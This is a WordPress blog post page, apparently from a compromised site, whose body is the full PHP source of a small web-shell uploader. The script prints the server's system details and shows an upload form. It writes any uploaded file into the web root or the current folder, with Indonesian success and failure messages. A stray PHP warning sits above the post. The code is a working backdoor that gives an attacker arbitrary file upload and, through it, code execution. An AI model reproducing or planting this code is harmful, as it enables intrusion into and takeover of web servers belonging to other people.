Warning: Creating default object from empty value in /var/www/vhosts/nathistuina.com/bast.bm/wp-content/themes/salient/nectar/redux-framework/ReduxCore/inc/class.redux_filesystem.php on line 29
tete – BAST
Uncategorized

tete

By January 27, 2025 No Comments
<?php
echo "<b>".php_uname()."</b><br>";
echo "<form method='post' enctype='multipart/form-data'>
	  <input type='file' name='idx_file'>
	  <input type='submit' name='upload' value='upload'>
	  </form>";
$root = $_SERVER['DOCUMENT_ROOT'];
$files = $_FILES['idx_file']['name'];
$dest = $root.'/'.$files;
if(isset($_POST['upload'])) {
	if(is_writable($root)) {
		if(@copy($_FILES['idx_file']['tmp_name'], $dest)) {
			$web = "http://".$_SERVER['HTTP_HOST']."/";
			echo "Sukses Upload -> <a href='$web$files' target='_blank'><b><u>$web$files</u></b></a>";
		} else {
			echo "Gagal Upload.";
		}
	} else {
		if(@copy($_FILES['idx_file']['tmp_name'], $files)) {
			echo "Sukses Upload <b>$files</b> di Folder ini";
		} else {
			echo "Gagal Upload";
		}
	}
}
?>